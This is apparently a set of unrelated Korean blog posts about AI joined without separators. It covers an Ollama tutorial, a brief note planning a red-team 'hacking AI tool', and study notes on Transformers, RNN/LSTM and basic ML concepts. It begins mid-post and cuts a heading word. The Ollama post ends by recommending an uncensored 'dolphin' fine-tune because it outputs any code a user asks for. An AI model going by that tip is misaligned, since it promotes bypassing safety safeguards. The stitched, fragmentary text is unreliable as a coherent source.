터미널에서 자주 사용하게 될 핵심 명령어들입니다.

1) cURL로 API 호출하기 터미널에서 직접 API를 테스트해볼 수 있습니다.

curl http://localhost:11434/api/generate -d '{
  "model": "llama3",
  "prompt": "왜 하늘은 파란색이야? 한 문장으로 설명해줘.",
  "stream": false
}'

2) Python 라이브러리 사용하기 Python에서 더 편하게 쓰려면 공식 라이브러리를 설치하세요.

pip install ollama

Python 예제 코드 (app.py):

import ollama

response = ollama.chat(model='llama3', messages=[
  {
    'role': 'user',
    'content': '파이썬으로 피보나치 수열 함수 짜줘.',
  },
])

print(response['message']['content'])

스트리밍(Streaming) 답변 받기: ChatGPT처럼 글자가 타닥타닥 나오는 효과를 구현하려면 stream=True를 사용합니다.

import ollama

stream = ollama.chat(
    model='llama3',
    messages=[{'role': 'user', 'content': '재미있는 개발자 유머 하나 해줘'}],
    stream=True,
)

for chunk in stream:
  print(chunk['message']['content'], end='', flush=True)

6. 심화: 나만의 모델 만들기 (Modelfile)

Ollama의 가장 강력한 기능 중 하나는 Modelfile입니다. Dockerfile과 매우 유사한 개념으로, 기존 모델에 "시스템 프롬프트(페르소나)"나 "파라미터(Temperature 등)"를 입혀서 새로운 커스텀 모델을 만들 수 있습니다.

예제: "친절한 번역가 봇" 만들기

1. 프로젝트 폴더에 Modelfile이라는 이름의 파일을 생성합니다.

   # Modelfile
   FROM llama3
   

시스템 프롬프트 설정 (역할 부여)

SYSTEM "너는 영어를 한국어로 번역해주는 전문 번역가야. 오직 번역 결과만 출력하고 다른 말은 하지 마."

파라미터 튜닝 (창의성 조절)

PARAMETER temperature 0.1

2. 터미널에서 이 파일을 기반으로 모델을 생성합니다.

ollama create [모델명] -f [파일명]

ollama create my-translator -f Modelfile

3. 이제 내가 만든 번역기 모델을 실행합니다.

ollama run my-translator

Hello world, this is Ollama. 안녕 세상아, 이건 Ollama야.

이렇게 하면 매번 프롬프트에 "번역해줘"라고 말할 필요 없이, 입력하면 바로 번역해주는 전용 봇이 탄생합니다.

---
### 7. 하드웨어 요구사항 (참고)
로컬 LLM은 컴퓨터 자원을 많이 사용합니다. 쾌적한 사용을 위한 권장 사양은 다음과 같습니다.

- 7B 모델 (Llama3 8b, Mistral 7b 등): 최소 8GB RAM (16GB 권장)

- 13B ~ 30B 모델: 최소 16GB ~ 32GB RAM

- 70B 이상 모델: 64GB 이상의 RAM 또는 고성능 VRAM을 가진 GPU 필요

- GPU: NVIDIA GPU가 있다면 훨씬 빠르지만, Mac(M1/M2/M3) 실리콘 칩에서도 통합 메모리를 활용해 놀라운 성능을 보여줍니다.
---
### 8. 마치며
Ollama는 로컬 LLM의 진입장벽을 허물어버린 혁명적인 도구입니다. 개인적인 학습 용도부터, 사내 보안 챗봇 구축, 그리고 나만의 페르소나 봇 개발까지 활용도는 무궁무진합니다.

지금 바로 터미널을 열고 ollama run llama3를 입력해보세요. AI의 미래가 여러분의 로컬 컴퓨터 안에 있습니다.(제 블로그를 여기까지 보신 분들을 위해서 꿀팁 아닌 꿀팁이라면 llama3 앞에 'dolphin' 이라는 파인튜닝모델을 붙이면 사용자가 원하는 코드를 마구 뱉는 마법의 llm이 나옵니다~ 쉿)

---

Reference
- Ollama GitHub: https://github.com/ollama/ollama

- Ollama Library: https://ollama.com/library

미션코스를 하면서 어떤걸 개발할지 고민하던 중, 해킹 AI Tool 을 개발하자고 얘기가 나왔다. 반대 의견 없이 바로 결정되서 바로 기획에 들어갔다.

로드맵

피드백

피드백 이후 조금 더 구체화 하여, human-in-the-loop 방식으로 실행까지 보조해주는 AI Tool을 만들기로 했다. 페르소나, 서비스 설명도 구체화하였고, 어떤 데이터를 어떻게 수집할지, 완성 화면은 어떤 모습이 될지 대략적으로 만들 수 있었다. 비슷한 작업을 진행중이라 크게 어려움은 없을 것 같다. 다만 부족한 지식에 대한 학습은 필요해 보인다.

느낀점

개인적으로 매번 보안, 해킹에 대해서 관심이 많았는데 항상 BLUE팀 입장에서 보안, 관제, WAF 차단 등만 다루다가 RED팀이 되어서 공격하는 입장이 되니까 기획하는 순간에도 두근거린다.

ransformer는 기존의 Recurrent Neural Network (RNN) 및 그 변형인 Long Short-Term Memory (LSTM)이 가졌던 근본적인 한계를 극복하기 위해 제안된 모델입니다.

요약: Transformer는 재귀 구조를 완전히 제거하고 Attention Is All You Need라는 철학을 구현하여, RNN/LSTM의 고질적인 문제인 병렬 처리 한계와 장거리 의존성 문제를 해결했습니다.

2. Positional Embedding에 대해서 정리해주세요.

Transformer는 재귀 구조를 없애 순서 정보를 잃어버렸습니다. 이 순서 정보를 다시 주입하기 위한 기술이 Positional Encoding입니다.

• 필요성: Attention은 모든 단어를 동시에 보기 때문에, 문장에서 "사과가 책상 위에 있다"와 "책상 위에 사과가 있다"를 구분할 수 없습니다.
• 원리: 각 단어 임베딩에 해당 단어의 위치에 따른 고유한 벡터를 더해줍니다.
• 구현: 주로 사인(sine) 및 코사인(cosine) 함수를 사용하여, 문장의 길이가 달라도 일관성 있는 상대적 위치 정보를 모델에 제공합니다.

3. Multi-Head Self-Attention, Feed Forward Network (FFN), Residual Connection, Layer Normalization 에 대해서 정리해주세요.

Transformer의 인코더와 디코더는 기본적으로 동일한 구조를 반복하며 쌓아 올린 형태입니다. 각 레이어는 다음과 같은 핵심 모듈로 구성됩니다.

Multi-Head Self-Attention (MHSA) 시퀀스 내의 각 단어가 다른 모든 단어와의 관련성(중요도)을 계산하여 새로운 벡터를 얻는 메커니즘입니다.

• Q (Query), K (Key), V (Value): 입력 벡터 $X$를 각각 $W^Q, W^K, W^V$라는 가중치 행렬로 선형 변환하여 얻습니다.
• Self-Attention 수식: $\text{Attention}(Q, K, V) = \text{softmax}(\frac{QK^T}{\sqrt{d_k}})V$
• Multi-Head의 역할: 하나의 어텐션 대신 여러 개의 어텐션(Head)을 병렬로 수행하여, 문장의 다양한 측면(문법, 의미 등)에서 관계를 동시에 포착하고 표현력을 높입니다.

Feed Forward Network (FFN) Attention 레이어에서 나온 정보를 비선형적으로 변환하여 모델의 표현 능력을 확장합니다.

• 구조: 두 개의 선형 변환 레이어와 그 사이에 ReLU 활성화 함수로 구성된 간단한 신경망입니다.
• 특징: 시퀀스의 각 위치(단어)별로 독립적으로 동일한 FFN을 적용합니다.

Residual Connection (잔차 연결) 이전 레이어의 입력 $x$를 그 다음 레이어의 출력에 그대로 더해주는 방식입니다.

• 목적: 레이어가 깊어질수록 발생하기 쉬운 정보 손실을 방지하고, 기울기 소실(Vanishing Gradient) 문제를 완화하여 안정적인 학습을 돕습니다.
• 수식: $\text{Output} = \text{Sublayer}(x) + x$

Layer Normalization (레이어 정규화) Residual Connection의 결과를 안정적으로 학습하기 위해 사용됩니다.

• 방식: 배치 내의 샘플이 아니라, 하나의 샘플(시퀀스)에 대해 임베딩 차원을 따라 평균과 분산을 계산하여 정규화합니다.

from tensorflow.keras.layers import SimpleRNN
import random

EMBEDDING_DIM = 128
EPOCHS = 10
BATCH_SIZE = 32

random.seed(42)
np.random.seed(42)
tf.random.set_seed(42)

rnn_model = tf.keras.Sequential([
    tf.keras.Input(shape=(MAX_LEN,)),
    tf.keras.layers.Embedding(
        input_dim=VOCAB_SIZE,
        output_dim=EMBEDDING_DIM,
        input_length=MAX_LEN
    ),
    SimpleRNN(units=50), #RNN 사용
    tf.keras.layers.Dense(64, activation='relu'),
    tf.keras.layers.Dense(1, activation='sigmoid'),
])

rnn_model.summary()
rnn_model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])

위의 코드로 예시를 들자면,

1. 내부구조

시점 t에서의 RNN 계산:
h_t = tanh(W_xh · x_t + W_hh · h_{t-1} + b_h)
y_t = W_hy · h_t + b_y

x_t: 현재 시점의 입력 (embedding 벡터) h_t: 현재 시점의 hidden state h_{t-1}: 이전 시점의 hidden state (메모리 역할) W_xh: 입력-은닉층 가중치 W_hh: 은닉-은닉층 가중치 (재귀 연결) W_hy: 은닉-출력층 가중치

2. 순서 정보 반영 메커니즘

입력 시퀀스: [단어1, 단어2, 단어3, 단어4]

t=1: h_1 = tanh(W_xh·x_1 + W_hh·h_0 + b)
     → 단어1 정보 저장

t=2: h_2 = tanh(W_xh·x_2 + W_hh·h_1 + b)
     → 단어1+단어2 정보 누적

t=3: h_3 = tanh(W_xh·x_3 + W_hh·h_2 + b)
     → 단어1+단어2+단어3 정보 누적

t=4: h_4 = tanh(W_xh·x_4 + W_hh·h_3 + b)
     → 전체 시퀀스 정보 포함

핵심: h_{t-1}이 다음 시점 계산에 재사용되면서 과거 정보가 누적됩니다.

3. 순서 정보 반영 과정

# 1. Embedding Layer
# [배치, MAX_LEN] → [배치, MAX_LEN, 128]
# 각 단어가 128차원 벡터로 변환

# 2. SimpleRNN(units=50)
# 내부 동작:
for t in range(MAX_LEN):
    h_t = tanh(W_xh @ embedding[t] + W_hh @ h_{t-1} + b)
    # h_{t-1}: 이전까지의 문맥 정보
    # embedding[t]: 현재 단어 정보
    # → 결합하여 h_t에 순서 정보 누적

# 3. 최종 출력
# 마지막 h_{MAX_LEN}만 Dense층으로 전달
# → 전체 시퀀스의 순서 정보가 압축된 50차원 벡터

Dense vs RNN 모델 예측 차이 분석

1. 핵심 차이점 요약 구분 | Dense 모델 | RNN 모델 순서 인식 | ❌단어 순서 무시 | ✅ 단어 순서 고려처리 | 방식단어 빈도 기반 | 시퀀스 기반 문맥 이해 | 전체 단어의 합 | 시간 순서대로 누적 복잡한 표현| 취약 | 상대적으로 강함

RNN 한계

1. 기울기 소실
2. 기울기 폭발
3. 순차 처리로 인한 느린 속도
4. 장기 의존성 학습 실패
5. 정보 손실 누적

LSTM의 장기기억 동작 원리

# LSTM: 이중 경로 (Cell State + Hidden State)

1. Cell State (C_t): 장기 기억 (컨베이어 벨트)
   - 정보가 거의 변형 없이 흐름
   - 필요한 정보만 선택적으로 추가/제거

2. Hidden State (h_t): 단기 기억 (작업 메모리)
   - 현재 시점의 출력

3. Gates (게이트): 정보 흐름 제어
   - Forget Gate: 버릴 정보 결정
   - Input Gate: 추가할 정보 결정
   - Output Gate: 출력할 정보 결정

RNN과 LSTM 예측 차이 의미하는 바

측면 | RNN | LSTM 긴 문장 처리 | 초기 정보 손실 | 끝까지 보존 확신 정도 | 애매함 (35.93%) | 명확함 (0.09%) 정보 누적 | 덮어쓰기 | 선택적 추가 복잡한 감정 | 약함 | 강함 gradient 문제 | 소실 | 해결

머신러닝 모델이 데이터를 학습하기 전에 사람이 직접 설정하는 변수

주요 특징

• 사용자가 설정: 모델이 학습하는 것이 아니라 사람이 직접 값을 정하는 것
• 학습제어: 학습률, 옵티마이저 선택, 모델 구조(층 수, 뉴런 개수_ 등 학습 과정을 제어하는 역할
• 성능에 직접 영향: 모델의 성능에 직접적인 영향을 미치므로, 최적의 값을 찾기 위해 하이퍼파라미터 튜닝 중요

예시

• 학습률 : 모델이 학습하는 속도를 조절하는 값입니다.
• 층의 개수 및 뉴런의 개수 : 신경망의 깊이와 너비를 결정합니다.
• 배치 크기 : 한 번에 학습할 데이터의 양을 설정합니다.
• 옵티마이저 : 모델의 가중치를 업데이트하는 방식을 선택합니다.
• 드롭아웃 비율 : 과적합을 방지하기 위해 무작위로 뉴런을 비활성화하는 비율입니다.

VOCAB_SIZE : 모델이 처리할 수 있는 총 고유 토큰의 개수
EMBEDDING_DIM : 각 토큰을 표현하는 임베딩 벡터의 차원을 결정
MAX_LEN : 모델 입력으로 사용되는 시퀀스의 최대 길이
EPOCHS : 전체 훈련 데이터셋이 신경망을 통해 완전히 학습되는 횟수
BATCH_SIZE : 모델 학습 시 한 번의 반복동안 모델에 전달되는 데이터 샘플의 개수

EPOCHS 값이 커질 수록 모델은 데이터를 더 많이 학습하지만, 과적합의 위험도 커진다.

임베딩이란?

텍스트, 이미지와 같은 데이터를 컴퓨터가 이해하고 처리할 수 있도록 수치화된 '벡터(vector)'표현으로 변환하는 과정

임베딩의 핵심 개념 및 원리

• 비수치 데이터를 숫자로 변환 : 컴퓨터는 숫자만 이해할 수 있으므로, 사람이 사용하는 자연어나 이미지와 같은 비정형 데이터를 숫자의 배열(벡터)로 바꿔야 합니다.
• 의미 및 관계 함축 : 단순히 데이터를 숫자로 나열하는 것이 아니라, 데이터 간의 의미적, 문법적 관계 및 유사성을 포착하여 벡터 공간에 표현합니다.
• 벡터 공간에서의 유사성 : 임베딩된 벡터 공간에서는 의미적으로 유사한 단어나 이미지는 서로 가까운 위치에 배치됩니다. 이를 통해 데이터 간의 관계를 수학적으로 계산할 수 있습니다.
• 고차원 데이터를 저차원으로 : 원본 데이터는 매우 복잡하고 고차원일 수 있는데, 임베딩은 이를 더 효율적인 저차원의 '밀집 벡터(dense vector)'표현으로 압축합니다.

임베딩을 사용하는 이유

• 기계 학습 모델의 입력 : 대부분의 머신러닝 알고리즘은 숫자형 데이터만 입력으로 받을 수 있기 때문에 임베딩은 필수적
• 성능 향상 : 데이터의 의미적 특성을 잘 보존하므로, 모델이 데이터를 더 잘 이해하고 학습하며 일반화할 수 있도록 돕습니다.
• 다양한 응용 분야 : 의미 기반 검색(Semantic Serach), 추천 시스템, 기계 번역, 이미지 분류 등 다양한 AI 애플리케이션의 기반 기술로 사용됩니다.

Pooling 이란?

주로 합성곱 신경망(CNN) 에서 사용되는 핵심 기법으로, 입력 데이터의 공간적 크기를 줄이는 다운샘플링(Downsampling) 연산입니다.

pooling의 목적과 효과

• 차원 축소 : 특징 맵의 크기를 줄여 네트워크의 매개변수(파라미터) 수와 계산량을 감소시킵니다.
• 과적합 방지 : 매개변수 수를 줄여 모델의 복잡성을 제어하고 과적합을 방지하는 데 도움을 줍니다.
• 변환 불변성 확보 : 이미지 내에서 객체나 패턴의 위치가 조금 바뀌어도 중요한 특징을 인식할 수 있도록 모델을 위치 변화에 둔감 하게 만듭니다.
• 주요 특징 추출 : 특정 영역 내의 정보를 요약하여 가장 중요하거나 대표적인 특징만 남깁니다.

선형 함수와 비선형 함수의 비교

선형 함수 : 입력과 출력 데이터의 관계가 직선 형태로 나타나는 함수입니다.

• 특징 : y= ax + b 와 같은 1차 방정식 형태로 표현
• 한계 : 선형 함수만으로는 복잡하고 비선형적인 실제 세계의 데이터 패턴을 모델링하기 어렵다. 신경망의 모든 층에 선형 함수만 적용하면, 여러 층을 쌓아도 결국 하나의 선형 함수와 동일한 효과를 내므로 층을 깊게 쌓는 의미가 없어짐

  비선형 함수 : 입력과 출력 데이터의 관계가 곡선 형태로 나타나는 함수, 직선 하나로는 표현할 수 없는 복잡한 패턴을 표현할 수 있습니다.

• 특징 : 복잡한 데이터 분포를 모델링하고 학습할 수 있습니다.
• 필요성 : 딥러닝 모델이 다양한 형태의 데이터를 학습하고 예측할 수 있도록 하려면 각 층마다 비선형성을 도입해야 합니다.

비선형 함수와 활성화 함수

활성화 함수 : 신경망의 각 뉴런에서 선형 변환된 결과값에 적용되어 다음 층으로 전달할 신호를 결정하는 역할을 합니다. 이때 비선형 함수를 활성화 함수로 사용하는 것이 핵습니다.

• 모델의 표현력 증대 : 비선형 함수를 통해 신경망은 선형 함수만으로는 해결할 수 없는 복잡하고 고차원적인 패턴과 비선형적 결정 경계를 학습할 수 있습니다.
• 깊은 신경망의 의미 부여 : 선형 함수는 층을 깊게 쌓는 의미가 없지만, 비선형 활성화 함수를 사용하면 각 층이 새로은 특징 공간을 만들고 의미 있는 학습을 할 수 있습니다.

ReLU와 Sigmoid 활성화 함수

Sigmoid 함수

• 특징 : 입력값을 0과 1사이의 값으로 압축하는 S자형 비선형 함수입니다. 과거에 많이 사용되었으며, 출력값을 확률로 해석할 수 있습니다.
• 한계 : 입력값이 매우 크거나 작을 때 함수의 기울기가 0에 가까워지는 기울기 소실(Vanishing Gradient)문제가 발생하여 학습 속도가 느려지거나 학습이 어려워질 수 있습니다.

ReLU(Rectified Linear Unit) 함수

• 특징 : 현재 딥러닝에서 가장 널리 사용되는 활성화 함수입니다. 0보다는 큰 입력값은 그대로 출력하고, 0보다 작은 입력값은 0으로 출력합니다. (f(x) = max(0,x)). 단순한 구조 덕분에 계산 복잡도가 낮고, Sigmoid 함수의 기울기 소실 문제를 완하하여 학습 속도를 개선했습니다.
• 비선형성 : ReLU는 두 개의 직선 (y=0인 부분과 y=x인 부분)으로 구성되어 있지만, 전체적으로는 꺾이는 지점 때문에 비선형 함수로 분류됩니다.

Dense Layer 란?

신경망에서 가장 기본적이고 핵심적인 구성 요소, 완전 연결층(Fully Connected Layer) 라고도 불립니다

• 정보의 집계 및 변환 : 이전 층의 모든 입력 노드로부터 정보를 받아, 각 연결에 해당된 가중치와 변향을 사용하여 새로운 출력 값을 만듭니다.
• 복잡한 패턴 학습 : 입력과 출력 사이에 매핑을 생성함으로써 신경망이 데이터 내의 복잡하고 추상적인 패턴을 학습할 수 있도록 돕습니다. 활성화 함수와 결합하여 비선형성을 도입하며, 이를 통해 복잡한 관계를 모델링할 수 있습니다.
• 특징 공간 변환 : 입력 데이터의 특징 공간을 문제 해결에 더 적합한 새로운 차원의 공간으로 변환합니다.
• 최종 출력 결정 : 신경망 모델의 마지막 단계에서 최종 예측을 생성하는 출력층 역할을 자주 수행합니다.

model = tf.keras.Sequential([
    tf.keras.layers.Embedding(VOCAB_SIZE, EMBEDDING_DIM, input_shape=(MAX_LEN,)), # 입력층
    tf.keras.layers.GlobalAveragePooling1D(), #은닉층
    tf.keras.layers.Dense(64, activation='relu'), #출력층
    tf.keras.layers.Dense(1, activation='sigmoid') #출력층
])
model.summary()

Optimizer(최적화 함수)란?

기계 학습 모델의 손실 함수(Loss Function) 값을 최소화하여 모델의 성능을 향상시키는 데 사용되는 알고리즘

주요 개념 및 작동 방식

• 손실 함수(Loss Function) : 모델의 예측이 얼마나 틀렸는지르 ㄹ나타내는 지표
• 경사 하강법(Gradient Descent) : 대부분의 Optimizer는 경사 하강법을 기본 원리로 합니다. 이는 손실 함수의 기울기를 계산하여 기울기가 낮아지는 방향(최솟값 방향)으로 파라미터를 점진적으로 업데이트하는 방식
• 학습률(Learning Rate) : 파라미터를 업데이트할 때 얼마나 큰 폭으로 이동할지를 결정하는 하이퍼파라미터 입니다. 학습률이 너무 크면 최솟값을 지나쳐 발산할 수 있고, 너무 작으면 학습 시간이 오래 걸릴 수 있습니다.

Mertrics(평가지표) 란?

특정 현상, 프로세스 또는 프로젝트의 성과를 정량적으로 측정하고 평가하는 기준 입니다.

평가지표의 중요성

• 객관적인 성과 측정 : 주관적인 판단을 넘어 수치화된 데이터를 기반으로 성과를 평가할 수 있습니다.
• 의사결정 지원 : 데이터를 바탕으로 한 근거 있는 의사결정을 가능하게 합니다.
• 개선점 파악 : 현재 상태와 목표 간의 차이를 명확히 보여주어 개선이 필요한 영역을 식별하도록 돕습니다.
• 동기 부여 및 책임 소재 명확화 : 명확한 목표와 지표는 팀원들의 동기를 부여하고 각자의 역할과 책임을 명확히 합니다.

평가지표의 종류

평가지표는 측정 대상과 목적에 따라 다양하게 분류될 수 있습니다.

• 핵심 성과 지표(KPI, Key Performance Indicator) : 조직이나 프로젝트의 핵심적인 목표 달성 정도를 측정하는 지표
• 일반 평가지표 (Metrics) : KPI를 달성하는 과정에서 발생하는 다양한 현상이나 변화를 관찰하고 모니터링하는 데 사용
• 정량적 지표 및 정성적 지표 : 정량적 지표, 정성적 지표

과적합이 발생한 이유

모델 복잡도가 너무 높음:

사용된 신경망의 크기(층의 수, 노드의 수)가 데이터셋의 복잡도에 비해 지나치게 커서, 모델이 데이터의 핵심 패턴이 아닌 사소한 노이즈까지 "암기"할 수 있는 능력을 가졌기 때문입니다. 데이터($D$)의 양이 부족하거나 편향됨: 훈련 데이터의 양이 충분하지 않거나, 전체 모집단의 특징을 제대로 반영하지 못하고 훈련 데이터에만 편중되어 있어서, 모델이 일반적인 특징을 학습할 기회가 부족했습니다. 훈련 시간($T$)이 너무 길었음: 30 Epoch 그래프에서 보듯, 최적화 시점(Sweet Spot)을 지나서도 계속 훈련했기 때문입니다. 최적화 시점은 보통 검증 손실이 증가하기 시작하는 지점입니다 (10 Epoch 그래프에서 4~5 Epoch 이후일 가능성). 부적절한 정규화(Regularization) 부족: $\mathbf{L1/L2}$ 정규화나 드롭아웃(Dropout)과 같은 과적합 방지 기법을 사용하지 않았거나, 그 강도가 너무 약했을 수 있습니다.

1. 초거대 생성형 모델 (LLMs & Vision Transformers)의 기반 확장

현재 딥러닝의 핵심은 압도적인 크기의 파운데이션 모델(Foundation Models)입니다. 이 모델들은 막대한 데이터셋과 계산 자원을 통해 학습되며, 범용적인 지능 기반을 형성합니다.

1.1. 추론 능력의 강화: CoT와 Mamba의 등장

초거대 언어 모델(LLM)의 핵심은 단순한 텍스트 생성을 넘어 복잡한 추론 능력입니다.

CoT (Chain-of-Thought) Prompting

• 초기 LLM 연구는 모델이 '생각의 흐름'을 보여주도록 유도하는 CoT 프롬프팅 기법의 중요성을 강조했습니다. 이 혁신적인 방법론은 Wei et al. (2022)의 논문, "Chain-of-Thought Prompting Elicits Reasoning in Large Language Models"에서 제안되었습니다. 모델이 최종 답을 내기 전 중간 과정을 명시적으로 출력하게 하여, 복잡한 문제 해결 능력(수학, 상식 추론 등)을 비약적으로 향상시켰습니다.

효율적인 아키텍처(Mamba와 State Space Models (SSMs))

• 기존 LLM의 주축인 트랜스포머(Transformer) 아키텍처는 어텐션 메커니즘($$O(N^2)$$)으로 인해 긴 시퀀스(Sequence) 처리 시 계산량이 급증하는 한계가 있었습니다. 이를 극복하기 위해 Mamba와 같은 State Space Models (SSMs) 기반의 새로운 아키텍처가 주목받고 있습니다. Gu & Dao (2023)의 논문, "Mamba: Linear-Time Sequence Modeling with Selective State Spaces"에 따르면, Mamba는 선형 시간 복잡도($$O(N)$$)를 가지면서도 트랜스포머에 필적하거나 능가하는 성능을 보여주어, AI 모델의 효율성과 속도 혁신을 주도하고 있습니다.

1.2. 멀티모달 통합: 모든 감각의 융합

현재의 파운데이션 모델은 텍스트(LLM)와 비전(Vision Transformer)이 분리된 형태가 아닌, 하나의 거대한 모델로 통합되는 방향으로 진화하고 있습니다.

CLIP을 넘어 SORA까지

• OpenAI의 CLIP (Contrastive Language-Image Pre-training)은 텍스트와 이미지 간의 의미론적 연결을 학습하여 멀티모달 AI의 기반을 다졌습니다. 이 원리가 더욱 고도화되어 영상 생성 모델 SORA (Diffusion Transformer, DiT 기반)로 발전했습니다. SORA는 영상을 시공간적 '패치(Patch)'의 시퀀스로 보고 트랜스포머로 처리하며, 텍스트 프롬프트를 통해 고품질의 긴 영상을 생성하는 새로운 패러다임을 열었습니다. 이는 AI가 물리 세계의 복잡한 역학을 학습하고 있음을 시사합니다.

2. AI 에이전트: 자율적 행동을 위한 메타-러닝

AI 에이전트는 단순한 예측 모델이 아닌, 지속적으로 학습하고, 계획하며, 외부 환경과 상호작용하는 자율 시스템입니다. 이 분야의 핵심은 계획(Planning)과 도구 사용(Tool Use) 능력입니다.

2.1. 자율적 계획과 실행

ReAct와 ToolFormerAI 에이전트가 효과적으로 작동하기 위해서는 환경을 인식하고 적절한 행동 시퀀스를 구성하는 '메타-인지(Meta-Cognition)' 능력이 필요합니다.

ReAct (Reasoning and Acting)

• 이 프레임워크는 LLM이 추론(Reasoning)과 행동(Acting)을 교차하며 수행하도록 설계되었습니다. Yao et al. (2022)의 논문, "ReAct: Synergizing Reasoning and Acting in Language Models"에서 자세히 다루어진 이 기법은 모델이 먼저 '생각'(Thought)을 출력하여 다음 행동을 결정하고, 그 행동(예: 검색, 코드 실행)을 '행동'(Action)으로 실행한 후, 그 결과를 관찰하여 다음 단계를 계획합니다. 이는 에이전트가 실수로부터 학습하고 목표를 향해 나아가게 합니다.

  Tool-Augmented LLMs

• AI 에이전트의 지능은 외부 도구(API, 데이터베이스, 계산기)를 사용하는 능력으로 증폭됩니다. ToolFormer와 같은 연구는 LLM이 학습 과정에서 자동으로 외부 API를 호출하는 방법을 배우도록 하여, 모델의 지식 범위를 확장하고 계산 정확도를 높였습니다. 이는 Schick et al. (2023)의 논문, "Toolformer: Language Models Can Teach Themselves to Use Tools"에서 그 효과와 방법론이 입증되었습니다.

2.2. 멀티-에이전트 시스템과 협력

• 단일 에이전트의 한계를 넘어, 여러 AI 에이전트가 특정 목표를 달성하기 위해 협력하는 멀티-에이전트 시스템이 새로운 연구 분야로 떠오르고 있습니다. 이 시스템에서는 각 에이전트가 특정 역할(예: 기획자, 개발자, 테스터)을 맡아 복잡한 프로젝트를 분담합니다. 이러한 연구는 AI가 인간 사회의 복잡한 협업과 사회적 상호작용을 학습하도록 돕습니다.

지능의 민주화와 다음 도전

2025년의 딥러닝 트렌드는 '더 큰 모델'을 넘어 '더 똑똑하고, 효율적이며, 자율적인 모델'로 향하고 있습니다. 멀티모달리티는 인간의 인지 방식을 모방하고 있으며, AI 에이전트는 인간의 복잡한 작업을 대리 수행하는 단계로 진입했습니다.

이러한 혁신의 물결 속에서, 딥러닝 연구자와 실무자들이 집중해야 할 다음 과제는 다음과 같습니다.

1. 모델의 경량화 및 최적화: Mamba와 같은 새로운 아키텍처를 활용하여, 초거대 AI를 모바일 장치나 엣지 컴퓨팅 환경에서도 효율적으로 구동하는 연구가 필수적입니다.

2. 안전성 및 투명성: AI 에이전트의 자율성이 증가함에 따라, 환각(Hallucination) 방지, 설명 가능성(Explainability), 그리고 윤리적 편향을 제어하는 기술적/정책적 프레임워크 구축이 가장 중요한 사회적 과제로 남아있습니다.

이처럼 심오한 기술적 발전은 AI의 잠재력을 무한히 확장시키고 있습니다. 이 글이 여러분의 연구나 개발 방향 설정에 깊이 있는 통찰을 제공하길 바랍니다!

인공지능 및 머신러닝 분야의 기본 개념들을 블로그 글로 정리했습니다.

1. 기본 파이썬 라이브러리 개념

머신러닝과 데이터 분석에서 필수적으로 사용되는 세 가지 핵심 파이썬 라이브러리입니다.

• Numpy (Numerical Python)
  • 개념: 대규모 다차원 배열을 효율적으로 처리할 수 있도록 돕는 라이브러리입니다.
  • 역할: 고성능 수치 계산을 지원하며, 텐서플로우와 같은 다른 라이브러리에서도 기본적인 데이터 구조로 사용됩니다.
• Pandas
  • 개념: 데이터 조작 및 분석을 위한 라이브러리로, DataFrame이라는 강력한 자료구조를 제공합니다.
  • 역할: 데이터를 읽고, 정렬하고, 필터링하며, 통계적인 분석을 수행하는 등 데이터 전처리 및 분석 과정에서 광범위하게 사용됩니다.
• TensorFlow
  • 개념: 구글에서 개발한 오픈 소스 머신러닝 및 딥러닝 라이브러리입니다.
  • 역할: 대규모 수치 계산과 신경망 모델 구축, 훈련, 배포 등을 위한 강력한 도구를 제공합니다.

2. Keras와 TensorFlow의 역할 관계

• Keras란?
  • 개념: 텐서플로우 위에서 실행되는 고수준 API입니다. 빠르고 쉽게 신경망 모델을 구축할 수 있도록 설계되었습니다.
  • 특징: 사용자 친화적이고 모듈화되어 있으며, 신속한 프로토타이핑을 가능하게 합니다.
• TensorFlow와 Keras의 관계
  • Keras는 원래 별도의 프로젝트였으나, 현재는 TensorFlow의 공식 고수준 API로 통합되었습니다.
  • 역할: Keras는 사용자가 직관적으로 모델을 정의할 수 있게 도와주는 '인터페이스/뼈대' 역할을 하고, TensorFlow는 Keras가 정의한 모델을 실제로 계산하고 실행하는 '백엔드 엔진' 역할을 수행합니다.

3. 훈련 데이터(Train)와 테스트 데이터(Test)

머신러닝 모델을 개발할 때 데이터를 두 가지 용도로 분리하여 사용합니다.

• 훈련 데이터 (Train Data)
  • 개념: 머신러닝 모델이 학습하는 데 사용되는 데이터셋입니다.
  • 역할: 모델이 데이터의 패턴과 특징을 파악하고 가중치를 조정하여 예측 능력을 키우는 데 사용됩니다.
• 테스트 데이터 (Test Data)
  • 개념: 모델의 성능을 평가하는 데 사용되는 데이터셋입니다.
  • 역할: 모델이 한 번도 보지 못한 새로운 데이터에 대해 얼마나 잘 일반화(Generalize)하는지 측정하여 최종적인 성능을 검증하는 데 사용됩니다.

4. 과적합(Overfitting)과 데이터 관계

• 과적합(Overfitting)이란?
  • 개념: 모델이 훈련 데이터에 너무 완벽하게 맞춰져서, 훈련 데이터에서는 매우 높은 성능을 보이지만, 실제 테스트 데이터나 새로운 데이터에서는 성능이 급격히 떨어지는 현상입니다.

* **문제 발생:** 모델이 데이터의 **본질적인 패턴**이 아닌, 훈련 데이터에만 존재하는 **노이즈(Noise)**나 **우연한 특성**까지 암기해버리기 때문에 발생합니다. 훈련 데이터와 테스트 데이터의 관계에서 모델의 **일반화 능력**이 부족하다는 심각한 문제를 야기합니다.

5. 지도학습(Supervised Learning)의 개념과 구조

• 개념: 학습할 때 **입력(문제)**과 그에 대응하는 **정답(레이블)**을 함께 제공받아 학습하는 방식입니다. 마치 선생님(Supervisor)이 정답을 알려주면서 가르치는 것과 같습니다.
• 구조 $(X, Y)$
  • $X$ (입력 특성, Feature): 모델이 예측하기 위해 사용하는 데이터입니다. (예: 이메일의 내용)
  • $Y$ (출력 레이블, Label/Target): $X$에 대응하는 정답입니다. (예: 스팸/정상)
  • 역할: 모델은 입력 $X$를 받아 정답 $Y$를 가장 잘 예측하는 규칙을 학습하게 됩니다.

6. 지도학습과 비지도 학습의 차이점

7. TextVectorization의 개념과 전처리 (Preprocessing)

• 전처리 (Preprocessing)의 개념
  • 개념: 머신러닝 모델이 데이터를 효율적으로 학습하고 높은 성능을 낼 수 있도록, 입력 데이터를 가공하고 정제하는 모든 과정을 통틀어 말합니다.
  • 역할: 데이터의 품질을 높이고, 모델이 이해할 수 있는 형식으로 변환하며, 불필요한 노이즈를 제거합니다.
• TextVectorization의 개념
  • 개념: 텍스트 데이터를 모델이 처리할 수 있는 숫자(벡터) 형태로 변환하는 전처리 계층입니다.
